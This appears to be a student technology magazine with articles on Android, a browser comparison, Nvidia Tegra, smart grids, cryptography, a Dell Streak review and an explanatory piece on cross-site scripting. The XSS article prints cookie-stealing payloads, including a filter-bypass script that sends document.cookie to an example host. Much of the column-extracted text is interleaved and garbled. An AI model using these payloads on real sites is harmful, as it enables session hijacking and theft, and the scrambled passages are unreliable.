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TechCorner
In the Smartphone world once dominated by Microsoft’s Windows
Mobile, Apple’s IOS & Google’s Android have emerged as the dominant players today with Wall Street Journal Reports pegging their
OS share to be 27% and 29% respectively. While IOS is a proprietary software based on Darwin(Hybrid) Unix type Kernel Android
is an Open Source OS based on Linux (Monolithic) Kernel. Android's kernel was derived from Linux but has been tweaked by
Google outside the main Linux kernel tree.
Android was officially unveiled on 5 November 2007 with the introduction of the industry's first "Google-phone," the T-Mobile G1. The G1 was built by HTC, and at the time, it was
fairly cutting edge and since then Google Releases updates and new features in successive versions. All versions
are named after desserts. The present Stable version of Android is 2.2 aka Froyo with 3.0(Gingerbread) around
About the OS
Android Runtime
Android has been programmed in C(core),C++(3rd party libraries) & Java(UI).It supports the Intel x86,ARM,MIPS &
Power Architecture platforms.Android includes a set of core libraries that provides most of the functionality available in the core libraries of the Java programming language.
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The Android operating system software stack consists
of Java applications running on a Java based object
oriented application framework on top of Java core
libraries running on a Dalvik virtual machine featuring
JIT compilation. Dalvik is a specialized virtual machine
designed specifically for Android and optimized for battery-powered mobile devices with limited memory and
CPUThe present Android operating system consists of
12 million lines of code including 3 million lines of XML,
2.8 million lines of C, 2.1 million lines of Java, and 1.75
million lines of C++.The source code of Android Os’s are
available to OEM’s and they are allowed to further
tweak the OS.
hardware and the rest of the software stack.The present build of Android is based on Linux Kernel 2.6.32
Android Libraries
Android includes a set of C/C++ libraries used by various components of the Android system. These capabilities are exposed to developers through the Android
application framework. Some of the core libraries are
listed below:
 System C library - a BSD-derived implementation
of the standard C system library (libc), tuned for embedded Linux-based devices
 Media Libraries - based on PacketVideo'sOpenCORE; the libraries support playback and recording of
Linux Kernel
many popular audio and video formats, as well as static
image files, including MPEG4, H.264, MP3, AAC, AMR,
Android relies on Linux version 2.6 for core system
services such as security, memory management, proc- JPG, and PNG
 Surface Manager - manages access to the display
ess management, network stack, and driver model. The
subsystem and seamlessly composites 2D and 3D
kernel also acts as an abstraction layer between the graphic layers from multiple applications.
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 LibWebCore - a modern web browser engine
which powers both the Android browser and an embeddable web view
 SGL - the underlying 2D graphics engine
 3D libraries - an implementation based on OpenGL
ES 1.0 APIs; the libraries use either hardware 3D acceleration (where available) or the included, highly optimized 3D software rasterizer
 FreeType - bitmap and vector font rendering
 SQLite - a powerful and lightweight relational database engine available to all applications
The android platform is adaptable to larger, VGA, 2D
graphics library, 3D graphics library based on OpenGL
ES 2.0 specifications, and traditional smartphone layouts . Android employs SQLite, a lightweight relational
database for data storage purposes. One of the major
Advantage of Android over IPhone is that Android supports connectivity through various technologies including GSM/EDGE, IDEN, CDMA, EV-DO, UMTS, Bluetooth, WiFi, and WiMAX which makes it available to all Carrier’s.
Android OS though made to suit only Smartphones , is
currently powering Tablet’s like Dell Streak.
Features
Home Screens
Android supports multiple
home screens, with each
one fully customizable. Widgets are present to accessorise the screen and many
more can be downloaded
and added.The bottom panel
of Android has three soft
buttons a simple multiscreen button to bring up
your entire grid of installed
applications, a Phone shortcut anda Browser icon.
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Browser
The web browser available in Android is based on the
open-source WebKit
layout engine. With
Froyo the browser is
coupled with
Chrome's V8
JavaScript engine
which increases its
performance 2x to
3x. It comes with
support for Flash
which is missing in
IOS(considering 85%
sites use Flash).The
browser scores a
93/100 on the Acid3
Test.
Tethering Support
Android supports tethering, which allows a phone to be
used as a wireless/wired hotspot (All 2.2 Froyo phones,
unofficial on phones running 1.6 or higher via applications available in the Android Market, e.g. PdaNet). It is
a huge advantage for people
on the move, however it
drains a lot of battery.Tethering only works
over USB, not via Bluetoothand currently is supported by Windows
7,Windows Vista &
Linux.Android creates an
open hotspot and doesn't
tell you which devices are
connected to the hotspot, but for both tethering and
hotspot.
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Multi-touch&Multitasking
(in MP4 or 3GP container), MP3, MIDI, OggVorbis, WAV,
JPEG, PNG, GIF, BMP. Support for additional codecs and
containers can be added by installing apps like VLC
Android has native support for multi-touch and supports multitasking for all applications(3rd party
also).This is a huge boon as one can stream a video in Messaging
background through a 3rd party app while editing notes
SMS,MMS& Email are available forms of messagin front.
ing .Earlier builds of Android lagged to RIM’s Blackberry
Voice Controls
OS due to the absence of Push Mail but with newer
build’s threaded text
Android has Google search through Voice available as
messaging was inSearch Input since initial release. Search has improved
cluded and now Ana lot but still if oneasks for photos in a search, Google
droid Cloud to Device
will give web results with pictures in, but not image
Messaging Framework
results for the search. Since Froyo Android also sup(C2DM) is also a part
ports voice based commands.It also supports Voice to
of Android Push Mestext features and probably the best one available in
saging service. Email
smartphone OS’s
is supported through
Videocalling
Gmail & Microsoft ExThe mainstream Android version doesn't support video- change with support
calling however since it is open source and the OS can for calendar and conbe tweaked by OEM’, some handsets could have a cus- tact sync and some
security options like using a numeric PIN or an alphatomized version of the operating system which supnumeric password to unlock your phone rather than a
ports it (like the Samsung i9000 Galaxy S).
gesture which makes it a buy for businesses.
Java Support
Android OS’s UI has been programmed in Java. Android
applications are also written in Java, there's no Java
Virtual Machine in the platform and Java byte code is
not executed. Java classes get recompiled into Dalvik
executable and run on Dalvik virtual machine.. J2ME
support can be provided via third-part-application such
Media support
as the J2ME MIDP Runner. The OS provides full java
Android supports the following audio/video/still media
support on Web as well.Android is really faster in frame
formats: H.263, H.264 (in 3GP or MP4 container), MPEG
rates and puts IPhone4 to shame. Frame Rates 0f 60
-4 SP, AMR, AMR-WB (in 3GP container), AAC, HE-AAC
fps can be achieved in certain games.
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Streaming media support
Android supports RTP/RTSP streaming (3GPP PSS,
ISMA), HTML progressive download (HTML5). Adobe
Flash Streaming (RTMP) is supported through Adobe
Flash Player plugin. Apple HTTP Live Streaming is supported through third party media player
(NextreamingNexPlayer). Microsoft Smooth Streaming
is planned to be supported through the awaited port of
Silverlight plugin to Android. Adobe Flash HTTP Dynamic Streaming is planned to be supported through
an upgrade of the Flash plugin.
phone book (PBAP),
voice dialling and
sending contacts between phones over
Bluetooth
Flash Support
Android supports
Flash with the latest
supported version
being 10.1.Froyo supports Flash in Web
Browser also which
means that you can
finally surf to Flashenabled Websites
without any errors
popping up. Movies from Sites like Yahoo Movies can
be streamed easily and even there is support for HD
versions.Casual Flash games like those on the Kongregate site are very playable.For many games the touchscreen makes a good controller - better than pressing
keys on a keyboard
Android Market
Android Market is a catalogue of applications that can
be downloaded and installed to target hardware overAndroid can use video/still cameras, touchscreens,
the-air, without the use of a PC. The Android Market
GPS, accelerometers, gyroscopes, magnetometers,
proximity and pressure sensors, thermometers, ac- has over 100,000 Android applications for download.
celerated 2D bit blits (with hardware orientation, scal- There are other markets, such as SlideME and Getjar,
but Google's Android Market is the only one whose
ing, pixel format conversion) and accelerated 3D
downloader is installed on every Google Android
graphics.
phone.Many famous IPhone apps have also been ported
Bluetooth
to the Android Market. Downloaded Apps can be inIt Supports A2DP and AVRCP Bluetooth profile’s.The stalled either in phone Memory or SD Card.
OS has supports sending files (OPP) , accessing the
Additional hardware support
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Camera
Android has a well designedcamera app.Camera app
allows geo-tagging, colourising the video,portrait orientation, zoom controls, access to exposure data, a
thumbnail utility,setting the white balance or choosing
the video quality (there are settings for MMS and YouTube as well as standard high and low quality). From
Froyo the new preview API doubles the frame rate
from ~10FPS to ~20FPS.
Galleries have a pinch-to-peek gesture, so that you can
see what photos are inside of a gallery before you
open it.
Social Networking
Android has built in official apps for social networking for Facebook,
gtalk and Twitter.The
setup of accounts in
these apps isautomagical. Many more apps
can be downloaded
from the android market.
Shortcomings
Android's still not all the way there. There are still too many buried features, hidden by menu button, and general
complexities, like a separate email app for non-Gmail accounts, remain. Selecting text, while now possible in the
Gmail app, is confusing. And the white-on-black interface for the dialler and contacts seems even more out of
place now that messages and Gtalk use a lighter UI.Music streaming situation is pretty bad due to absence of a
Music sore like Zune or itunes.
The interface can be more sleeker and more graceful. It's so strange, in a way, that Android has the most impressive voice controls and speech-to-text of any phone out there, but basic things like copy-and-paste can feel
as slippery as brain surgery on a snail. The problem extends to the Android Market. Sure, one day we might be
pushing apps to the phone from our desktop, but app discoverability, particularly on the phone itself, is a long
way from optimal.the touch keyboard still feels like you're typing with two fingers glued together.
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If web browsers were girls, I would be really happy. So many to choose from and all of them trying to get
hold of me! Well, a few years back Internet Explorer had become the synonym of web browsing. But that
was a few years back. Times have changed. Browser war 1.0 saw Microsoft’s IE emerging as a clear winner.
Netscape navigator was literally vanished. But IE’s domination over the browser market in no more. First
the growth of Firefox and then the entrance of search giant Google into the world of browsers has done
some serious damage to the popularity of IE. In fact, a time came when techies just seemed to hate IE. In
the meantime Chrome gained a significant market share and Firefox continued to make more fans. But Microsoft made its move with the launch of IE 9, which was soon followed by the launch of Firefox 4. Plus Apple’s Safari and Opera browser are also there to make the web a better place. In short, there was never a
better time for Web Browsing. The battle is still wide open. Welcome to browser wars 2.0
Here are the usage statistics of different browsers for 2011 :
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The Major Players:
INTERNET EXPLORER:
User Interface:Following the footsteps of chrome IE9 wears a minimalist look. All the ugly toolbars are gone.
“Unlocking the beauty of Web”-Thats how MS describes its new browser. It also has some new features like
“pinned sites” and changing colors of back and forward buttons to match the web-pages.
Minimalist look of Internet Explorer 9
Performance: The Performance of IE 9, for sure, is better than the earlier versions but looks like it needs a long
way to go before it matches Firefox and chrome.IE 9 has HTML 5 video support, the new ‘Chakra’ JavaScript engine, CSS 3 support and GPU acceleration that definitely improves its performance. Even with all this the speed
tests show that MS needs to do some more work to match the standards set by Firefox or Chrome.
GOOGLE CHROME:
User Interface: Chrome has had a minimalist UI right from the very start and this was one of the main features
that made it stand out of the croud when it came into existence. By default, the main user interface includes back,
forward, refresh, bookmark, go, and cancel buttons. The home button can be configured through options to take
the user to the New Tab Page or a custom home page. Tabs are the primary component of Chrome's user interface and as such, have been moved to the top of the window rather than below the controls. Starting with Chrome
3.0 users can apply themes to change the look of their browser.
Performance: The JavaScript virtual machine used by Chrome, the V8 JavaScript engine, has features such as
dynamic code generation, hidden class transitions, and precise garbage collection. Google Chrome 9, which
launched a few months back, is sporting 3D hardware acceleration, google instant search and a web-apps store.
MOZILLA FIREFOX:
User Interface: : Firefox 4 has a simple and clean Opera like UI. ’Personas’ – the single click themes in Firefox
distinguishes it from others. Like others, tabbed browsing has been an essential feature of Firefox but the newest
version has a new feature of App-Tabs, which are essentially the tabs which never close. Plus Firefox 4 has better
support for Typography.
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Performance:: Firefox 4 has significant performance improvements over Firefox 3.6. Support for
CSS 3 transitions and HTML 5, new and enhance JägerMonkey JavaScript engine, improved WebGL
support and hardware acceleration.
Firefox has a lot of awards in its name. It featured in PC world’s list of best 100 products for three
consecutive years.score.
COMPARISONS:
Sunspider v0.9.1 Benchmark (lower is better)
Memory Usage: 40 tabs (lower is better)
*WebGL is a standard that is based on OpenGL ES that lets you perform 3D rendering on the web.
* Hardware acceleration is offloading tasks that are typically handled by the software to the hardware wherever possible. In our scenario, we reduce the workload on our general purposes CPUs
much more parallel, and capable, GPUs handle specific computations, thus eking out better performance.
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There’s also a new player in the battlefield and the best thing about it is – its INDIAN:
THE EPIC BROWSER :
On July 15, a Bangalore based company, Hidden Reflex launched India’s first browser. It is based on open source
Mozilla platform. The UI of Epic is also quite fresh. The Browser has features specifically targeted at Indian users.
Some of its main features are:
Integrated virus protection powered by ESET. i.e. Free antivirus scanning and healing is built into Epic
Support for 12 Indian languages including Hindi, Bangla, Punjabi, Marathi (otherwise Shiv Sena would have had
problems browsing the web!) to name a few. It also supports transliteration for Arabic, Farsi/Pesian,
Russian, and Greek.
Epic has several preinstalled widgets such as social networking (Facebook, Orkut), chat clients (yahoo messenger) and email facilities integrated into the browser.
Epic is currently available for Windows, though Linux and Mac versions are expected soon.
A large number of themes. Most of them having Indian flavor.
The first of its kind: widgets sidebar.
Let’s hope the epic browser makes an epic entry into this browser wars.
Popularity of Different Browsers:The
graph below clearly indicates the growth
of Firefox and Chrome.An year or so back
Firefox seemed to be the favoritebut with
the arrival of Google Chrome things began
to change and just when we thought the
game was over for IE, it seems to have
gained a bit of ground with IE 9 but to stay
in the competition Microsoft will have to
continue to innovate likeMozilla. How
newer versions of Firefox and Chrome
perform is also something to be seen.
Whoever wins this war, there was never a
better time for browsing the web.
JATIN SHRIDHAR
1st Year, COE
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Nvidia Tegra—Breakthrough
into the new realm
When someone told methat technology evolves
faster than you can say it, I didn’t believe him. Well,
not till I experienced it. Here’s how. Eight years back,
I played Snake on a black-and-white Nokia handset
and went WOW. A few weeks back, I saw a video of
NFS Undercover being played on an Acer smartphone. This time, the reaction was W T F. Woah man;
consumption and extreme performance. This setup is
this thing was giving competition to the graphics that
called the ARM Architecture. And trust me, the ARM
I got on my PC! And thus, I said hullo to NVIDIA Tegra.
is pretty muscular, too!
Hearing it first time, most people would say,
The Tegra series has two components: the Tegra
“Wazzat? NVIDIA to GeForce nahi hota??” Reason
APX 2500 series, for smartphones, and the Tegra
being, we all are faintly familiar with NVIDIA’s Ge600/650 series, for mobile internet devices, i.e.,
Force series of graphic cards, which let us play our
tablets, and GPS systems. Also, a new series, the
beloved games on our desktops and lappies. But now,
Tegra 250, with enhanced features, specially to cait seems, NVIDIA is hopping onto the mobile bandter to upcoming tablets, is being developed.
wagon as well, with the new Tegra technology. This is
a revolutionary concept, which basically enables any First up, we take a look at the Tegra ATX series. This
mobile computing device to incorporate enormous one lends some serious weightage to the apparently
potential in terms of media capabilities. Tegra is a so-light smartphones, but only in the metaphorical
system-on-a-chip series, which integrates the CPU, sense. Here also, as we’ve been seeing in the PC
GPU, Northbridge, Southbridge, and the Memory Con- over the years, NVIDIA hardware steps up to the next
troller in a single small chip, resulting in low power level. . The processor is a normal ARM11 6ooMHz
chip, with NAND flash RAM. The juice, however, is
the graphics solution. This marvel provides fullfledged support for Direct3D, OpenGL 2.0, and
shader programming. What’s more, it supports
upto 12-MP camera, with 720pHD recording, and a
baffling screen resolution of 1280X1024. Clear message to the rivals: BEAT THAT!
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The smartphones that run on Tegra are some heavy
customers, to say the least. Microsoft Kin and MicroHold your breath, all you hardware junkies reading
soft Kin 2, the Microsoft ZuneHD, and various special
this. Eightindependent processors are present to
edition smartphones from Acer and Asus, like the
handle simple processing, HD video encoding and
Asus Lamborghini
decoding, web browsing, and
special edition.
3D gaming. Plus, the first
Well, onto the
dual core CPU in mobile
600/650 series.
technology. And, add to this,
This is basically
multiple days of battery
the same hardlife…what you get is a jaw
ware, with an updropping mobile entertaingraded ARM 11
ment package in your hands.
processor(800
NVIDIA has demonstrated
MHz), same RAM,
Unreal Engine 3 on the Temarginally higher
gra, and it works flawlessly,
resolution, and
just like 1080p video
support for WiFi.
streaming, or graphicSounds the same,
intensive web browsing.
but well, the performance is awesome. This is used Hell, NVIDIA also worked with Opera, to develop Opin many GPS systems, and older netbooks and tab- era 9.5, optimized for the Tegra, for Windows Mobile
lets.
platform. Sweet. And ofcourse, Tegra is now compatible with Android as
In January 2010,
well.
NVIDIA announced
the new Tegra 250
We can expect this techseries, which would
nology to be seen in action,
lead the tablet revowhen Notion Ink come out
lution in 2010. This
with theirTegra 2 Tablet,
gives the consumer a
which is assumed to be the
full desktop-like
prime contender for
browsing experience,
knocking the iPad off its
in a tablet. Courtesy
perch, atop the tablet marthe enhanced 1080p
ket. Rumour is that HTC, Toshiba, and MSI are also in
video support, 3D touch interface, and immersive
the fray, to develop their own Android based devices.
gaming performance. All this, and can the hardware Well, time will tell.
Saraj Munjal
be far behind? Naah.
Coe 1st year
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CROSS- SITE SCRIPTING (XSS)
INTRODUCTION TO XSS :
There are basically two types of websites – Dynamic websites, which are more enjoyable to the user with the
help of web applications. And another are static websites which is basic and is also cheaper to host and develop.These dynamic websites suffer threat of cross-site scripting(XSS).
The cross-site scripting attack is one of the most common security problems facing web developers today.The
goal of the XSS attack is to steal the client cookies, or any other sensitive information, which can identify the
client with the web site.Unlike most attacks, which involve two parties – the attacker and the web site or the attacker and the victim client, the XSS attack involves three parties –
the attacker, a client and the web site.
WHAT IS XSS ?
Let us start with normal authentication process without any xss code injected first. For e.g. Let us consider we
are making a gmail account. The password that has been created by the user is sent to the server. The server
then sends back the cookie.So the next time he logs in, he is not identified by his password but by the cookie set
by the server :
Now , let us try to
understand the role
of the hacker. The
hacker injects an
“evil script” such
that the the cookie is
not sent to the
server but to the
script which looks
like server to the client. This is known as
“Cookie Stealing”.However cookie stealing is one of the many implications of XSS attack.
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Now , let us try to understand the role of the hacker. The hacker injects an “evil script” such that the the
cookie is not sent to the server but to the script which looks like server to the client. This is known as
“Cookie Stealing”.However cookie stealing is one of the many implications of XSS attack.
The most common web components that fall victim to XSS vulnerabilities are CGI scripts,search engines,interactive bulletin boards etc. Following is the example of a embedded java script(highlighted por-
tion) injected in the url which will be executed on the user's browser!!.
This will generate a popup showing the current set of cookies.
TYPES OF XSS :
There are basically two types of XSS.
1)Non- persistant (Reflected) Vulnerability :
These type of injections are temporarily stored in the url.It is the most common type of vulnerability.These
holes are generated when data provided by a web client is used immediately by server -side scripts to generate resultant page.
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The command above will redirect the page to another webpage which will be contaning script.php(that is
our logging page) !! Now let us look upon the contents of this script page...
Once a cookie is stored, you can use softwares like Firefox Cookie Editor etc and can behave as an administrator !!
2)Persistant (Stored) Vulnerability :
In these type, attacker saves the data ,which will be provided to the web application, in the server itself
and later displayed to users without being encoded using HTML.Thus it allows powerful kind of attacks.
PREVENTION (ESCAPING AND FILTERING) :
There are few ways to prevent yourself from these attacks. Escaping is a technique used to ensure that
characters are treated as data. Some of these techniques require special “escape” character and some
involves several characters.
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Escaping simply lets the interpreter know that the data is not intended to be executed and thus prevents
from attacks.Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS. Some of the counter measure which can be done by the web browsers is :
index.php?cat=
<scr<script>ipt>
document.location=”http://example.be/script.php?
id=”+document.cookie;
</script>
It removes the first script tag and a new script tag wil be revealed.
Checking of site can be done manually or via automated web application tool. In both the methods, input to
the variations is checked with as many variations possible. For e.g. It will check for the script already
mentioned
<script>alert(document.cookie)</script>
This is only the simplest kind of script. Javascript could be inserted in various fields For e.g.,he can hide it
inside an image
<img src= “javascript....:” >
As Cross Site Scripting is one of the most common application level attacks that hackers use to sneak
into web applications today, thus it is necessary that an organization implement both an online and offline
security strategy. This includes using an automated application vulnerability assessment tool.
- Sajal Chaudhary
(COE ,2nd YEAR)
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Suppose you are working on a top secret government project and want to send the details of an important discovery to your boss. So, you attach the plain text to an email and send it to your boss. The next morning to
your surprise, you find that the entire nation knows about it as a prying intelligent reporter got hold of the unencrypted plain text details and printed it on the front page of a leading newspaper. This is where cryptography comes in.
Cryptography is the process of converting recognizable data into an encrypted code for transmitting it over a
network(either trusted or untrusted). Data is encrypted at the source i.e. sender’s end and decrypted at the
destination i.e. receiver’s end.
TYPES OF CRYPTOGRAPHIC ALGORITHMS
 Secret Key Cryptography (SKC): Uses a single
key for both encryption and decryption
 Public Key Cryptography (PKC): Uses one key
for encryption and another for decryption
 Hash Functions: Uses a mathematical transformation to irreversibly "encrypt" information
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SECRET KEY CRYPTOGRAPHY
A cipher system that uses the same key to encipher and decipher a message is called a secret key cryptography. Because a single key is used for both functions, secret key cryptography is also called symmetric encryption. In this kind of cipher system the whole process is reversible.
With this form of cryptography, it is obvious that the key must be known to both the sender and the receiver;
that, in fact, is the secret. The biggest difficulty with this approach, of course, is the distribution of the key.
Secret key cryptography schemes are generally categorized as being either stream ciphers or block ciphers.
Stream ciphers operate on a single bit (byte or computer word) at a time and implement some form of feedback mechanism so that the key is constantly changing. A block cipher is so-called because the scheme encrypts one block of data at a time using the same key on each block. In general, the same plaintext block will
always encrypt to the same cipher text when using the same key in a block cipher whereas the same plaintext
will encrypt to different cipher text in a stream cipher.
STRENGTHS:
WEAKNESS:
Much faster than asymmetric systems
Key distribution: It requires a secure mechanism to deliver
keys properly
Hard to break if using a large key size
Scalability: Each pair of users’ needs a unique pair of keys, so
the number of keys grow exponentially.
Limited security: It can provide confidentiality, but not authenticity or non repudiation.
The following are examples of symmetric key cryptography algorithms: Data Encryption Standard (DES), Triple DES (3DES), Blowfish, IDEA, etc.
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PUBLIC KEY CRYPTOGRAPHY
Public-key cryptography has been said to be the most significant new development in cryptography in the last
300-400 years. Modern PKC was first described publicly by Stanford University professor Martin Hellman and
graduate student Whitfield Diffie in 1976. Their paper described a two-key crypto system in which two parties
could engage in a secure communication over a non-secure communications channel without having to share a
secret key. In this cipher system, different keys are used for encrypting and decrypting messages.
Generic PKC employs two keys that are mathematically related although knowledge of one key does not allow
someone to easily determine the other key. One key is used to encrypt the plaintext and the other key is used
to decrypt the cipher text. The important point here is that it does not matter which key is applied first, but
that both keys are required for the process to work. Because a pair of keys is required, this approach is also
called asymmetric cryptography.
The following outlines the strengths and weaknesses of asymmetric key systems:
STRENGTHS: 
Better key distribution than symmetric systems

Better scalability than symmetric systems

Can provide confidentiality, authentication, and
non repudiation
WEAKNESSES:

Works much slower than symmetric systems
The following are examples of asymmetric key algorithms: RSA, Elliptic Curve Cryptosystem (ECC), DiffieHellman, etc.
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HASH FUNCTIONS
Hash functions, also called message digests and one-way encryption, and are algorithms that, in some sense, use
no key . Instead, a fixed-length hash value is computed based upon the plaintext that makes it impossible for either the contents or length of the plaintext to be recovered. Hash algorithms are typically used to provide
a digital fingerprint of a file's contents often used to ensure that the file has not been altered by an intruder or
virus. Hash functions are also commonly employed by many operating systems to encrypt passwords. Hash functions, then, provide a measure of the integrity of a file.
One-Way Hashing Function
It is never performed in reverse.
It provides integrity of a message, not confidentiality or authentication.
The results of a one-way hash is a hashing value.
It is used in hashing to create a fingerprint for a message.
WHY THREE ENCRYPTION TECHNIQUES?
So, why are there so many different types of cryptographic schemes? Why can't we do everything we need with just one?
The answer is that each scheme is optimized for some specific application(s). Hash functions, for example, are well-suited
for ensuring data integrity because any change made to the contents of a message will result in the receiver calculating a
different hash value than the one placed in the transmission by the sender.
Secret key cryptography, on the other hand, is ideally suited to encrypting messages, thus providing privacy and confidentiality. The sender can generate a session key on a per-message basis to encrypt the message; the receiver, of course,
needs the same session key to decrypt the message. Asymmetric schemes can also be used for non-repudiation and user
authentication; if the receiver can obtain the session key encrypted with the sender's private key, then only this sender
could have sent the message. Public-key cryptography could, theoretically, also be used to encrypt messages although
this is rarely done because secret-key cryptography operates about 1000 times faster than public-key cryptography.
Sanya Chawla
(2nd Year Computer Engineering branch)
Bits n Bytes Vol - 7
22
TechCorner
We all are aware of the high rate at which energy is being used in the present world and if this continues then
soon our earth will be exhausted of all its resources and
energies and will no longer be a place worth living because of carbon emission. After reading this first line
you must be thinking what at all this has to do with computers and technology. But technology finds a way to
touch every aspect of life and find solutions to all such
problems. Smart grid is an upcoming technology which
is spreading like fire in all parts of the world. It is basically the power grid being used in a more efficient way.
A smart grid delivers electricity from suppliers to consumers using digital technology with two-way communications to control appliances at consumers' homes to
save energy, reduce cost and increase reliability and
transparency. It overlays the electrical grid with an information and net metering system .It is basically a convergence of three sectors electric power, telecommunication infrastructure and information technology.
graphically it is noticeable that these units reach peaks
at day time, also this electric energy can not be stored
effectively at reasonable expense. So what we basically
want is to cut off the peak of the bell curve which can be
done by performing day time tasks at night. For instance
if we take a washing machine or drier, then it can be set
to start automatically at night say 2 o clock rather than
at peak hours.
One very important part of smart grid is the Advanced
Metering Infrastructure(AMI) which has replaced the
obsolete mechanical meters with advanced digital meters known as ‘smart meters’. In countries like Australia, USA and UK these have already come into use. Basically instead of the old Indian system in which some employee would come at the end of each month to take the
meter reading, there would be a digital meter which
would automatically send the readings time to time (say
at an interval of 15min) to a server, through GSM card
exactly the same way our mobiles communicate.
These meters are intelligent enough to enable time based electricity charges.
If we try and analyze then it is quite obvious that the
There is a difference in the price of the electricity units used in the
consumption of the number of units of electricity will be day time and the night time. The day time electricity is much more
greater in the day time as compared to the night time so expensive as compared to that in the night this gives us another
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reason to use energy efficiently and use as many appliances as possible at night.
A practice started in many countries is the production
of energy at homes by
setting up photovoltaic
cells (solar cells) or
wind mills or any such
form of renewable
source on roofs; this
means that energy is
itself produced by the
citizens at their
houses. This energy
reading is also taken
by the AMIs and thus
either it is subtracted
from the total bill or used in the same house.
The AMI not only forms the bridge
back to the utility’s operations and
control center, but also to the network inside the home or building,
referred to as the home area network (HAN), which is responsible for
energy intake by all household
equipments like refrigerators, dishwashers, lighting system and so on.
Hence it has become easier to keep
records of the energy consumed
and produced in small areas and
even large buildings, complexes or
even cities.
The figure above also shows a
smart grid system in which the
photovoltaic cells are producing
electricity and the amount of electricity produced is recorded by the AMI, this energy is
used internally at home or is exported out into the grid.
The electricity produced by the photovoltaic cells is
Bits n Bytes Vol - 7
green energy produced without any kind of pollution. This
in a nutshell is a basic smart grid i.e. a way in which
various smart components can talk to each other.
Now basically this industry is divided into
three parts generation, distribution and
transmission, and retail. Till now these
were all under one
category but now are
being divided. Being a
new technology many
plans have been proposed in this direction
of efficiently using energy which are not presently in use
but all of them basically highlight the significance of the
retailing department and how
in the future the control might
go to the retailers.
The earliest, and still largest,
example of a smart grid is the
Italian system installed by Enel
S.p.A. of Italy. After Italy this
technology grew at a fast rate
in Austin, USA and Ontario in
Canada. Presently this technology has made its way in most
of the parts of US and Australia
and definitely has way to go….
Moreover even in India this
technology is growing fast and
is expected to soon be a big
topic of discussion for the media. AFTERALL A LITTLE EFFICIENCY GOES A LONG WAY.... and smart grid is not a destination but a journey whose effects are
SHREYA MALIK
definitely hoped to be seen in future.
nd
( COE 2 Year )
24
Since the first rumours many months
back, to Michael Dell flashing his prototype
in the street and then a few quiet appearances
at trade shows, the Dell Streak has taken
its time coming to market. Running Android(Éclair)
on a broad, eye-catching 5-inch display, there’s little
like it on the market and it’s been an attention-grabber
ever since.Well the first impression one gets is that
whether it is a 5”-screen smartphone masquerading as
a tablet device or if it’s a small-form-factor tablet pretending to be a phone. Well folks at Dell claim it to be a
voice capable tablet but still it feels like an oversized
smartphone..
The iPhone has an unusual problem. Its UI is fast and
smooth enough that you want to browse the web on it.
However the device is cramped enough that you don’t
want use it for any serious web browsing. If you’re just
looking to quickly read something it’s ok but logging in
to websites, or interacting with a more complex web
app is just a pain on a screen that small - regardless of
how fast the device is. Apple’s solution is to turn you
toward apps, or sell you an iPad. HTC and Motorola provided an alternative: increase the screen size of their
smartphones. Dell took it one step further, and for
some reason called it the Streak.Indeed, its real ace in
the hole is where the lines are blurred into smartphone
territory.
Specifications
 Carrier: Tata DoCoMo
 OS:
Android 1.6(soon an update to 2.2)
 Processor: 1 GHz Qualcomm Snapdragon (QSD
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

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
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8250)
RAM:
512 MB
Storage: 2 GB built-in, plus 16 GB micro-SD
(expandable to 32 GB)
Display: 5-inch WVGA, 800×480 pixels, Gorilla
Glass
Battery: Lithium Ion 1530 mAh
Ports:
30-pin to USB
Weight: 7.7 oz.
Dimensions:6.0(h) x 3.1(w) x 0.4(d) inches
Camera: 5.0 megapixel (rear) with autofocus;
VGA front-facing
Sensors: Accelerometer, GPS, e-compass
Keyboard: 49-key virtual keyboard (including
number pad)
Networks: UMTS 850/1900/2100 MHz; GSM/EDGE
850/900/1800/1900 MHz;
Wireless: Wi-Fi 802.11 b/g; Bluetooth 2.1 EDR
Tethering: Not available
TechReview
Design
At 6 inches wide, 3.2 inches tall, and 0.35 inch thick,
the Streak is about the size as a pocket Moleskin notebook. It breaks the norm for smartphone dimensions,
yet it's nearly a third the size of Apple's iPad tablet. it
slides quite nicely into a jeans pocket, so size wouldn’t
be a problem unless you are adamant on putting it in
yourhippie-tight pants.It has plenty of gas in the tank,
housing a Qualcomm Snapdragon 1GHz processor and
512 MB of RAM.
In terms of design,
it does favour the
typical tablet layout with a landscape-based home
screen interface
rather than the
upright layout seen
on most full-touch
screen smartphones. It feels very natural adopting a
two-handed approach in landscape mode, letting the
device rest between both palms. In terms of external
controls, the front features a touch-sensitive panel
featuring Back, Menu and Home buttons, each of which
greet you with a pleasant haptic vibration upon contact.
On the flip side of
the Streak you'll
find a 5megapixel autofocus camera
with an integrated LED flash.
The camera is awkwardly placed, so your left hand
tends to obscure the lens when holding the Streak in its
prescribed landscape orientation. The back of the
Streak also includes a small speaker grille at the edge
of a large battery cover. Along with a removable, rechargeable battery, the Streak battery compartment
also offers access to a SIM card slot and the included
16GB micro SD memory card.Slim buttons for volume,
power, and camera mode run across the top edge of
the Streak, along with a standard 3.5mm headphone
jack .
Interface
The Dell Streak fits right in with today's superbly specced Android smartphones. It ships with Android 1.6 installed, which is a little antique compared to the snazzy
Android 2.1 OS. Dell is promising an over-the-air update
to Android 2.2 down the line, but until then, features
such as multitouch gestures, multiple e-mail in-boxes,
live wallpaper, and Flash video support, are out of
reach.
The 5-inch capacitive touch screen is covered in a
seemingly indestructible Gorilla Glass, though the tapered edges to the left and right of it use a more conventional scratch-resistant plastic. These same edges
also conceal three soft keys (back, menu and home), an
earpiece, microphone, and a front-facing VGAresolution camera.
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The tabs at the top of the screen (again, in landscape
mode) are a great addition, and the second one along
brings up shortcuts to all of your homescreens. The tab
in the left hand corner brings up the Android menu,
featuring all of your apps and widgets. The third tab
along is for notifications, while the fourth offers connectivity options, alarms and battery life.
Thanks to the 1GHz Snapdragon processor, moving between screens, opening applications, and indeed multitasking is extremely fast.The accelerometer is fast too,
but the touchscreen doesn't quite have the overall fluidity of theiPad. The three touch-sensitive buttons on
the right-hand side are perfectly placed and underpin
the whole interface. The UI is sensible, with some fabulous touches the make this device a pleasure to use.
Contacts and Calling
Adding Contacts from Gmail, Facebook & Outlook are
easy with merge feature helpful in deleting repeated
contacts. Next to each name are the methods of contact, enabling you to call, send email, texts or visit
their Facebook without entering the actual contact
page. Only problem is streak’s inability to constantly
render Facebook Pictures. Holding the Menu key
brings up the keyboard, and you're able to scan for
contacts that way.It's quite hard to be accurate with
the scrolling as, although lightning fast, it doesn't
boast nearly the same level of control or the same
fluid experience that's available on the iPad and WP 7.
The calling experience is as straightforward as on any
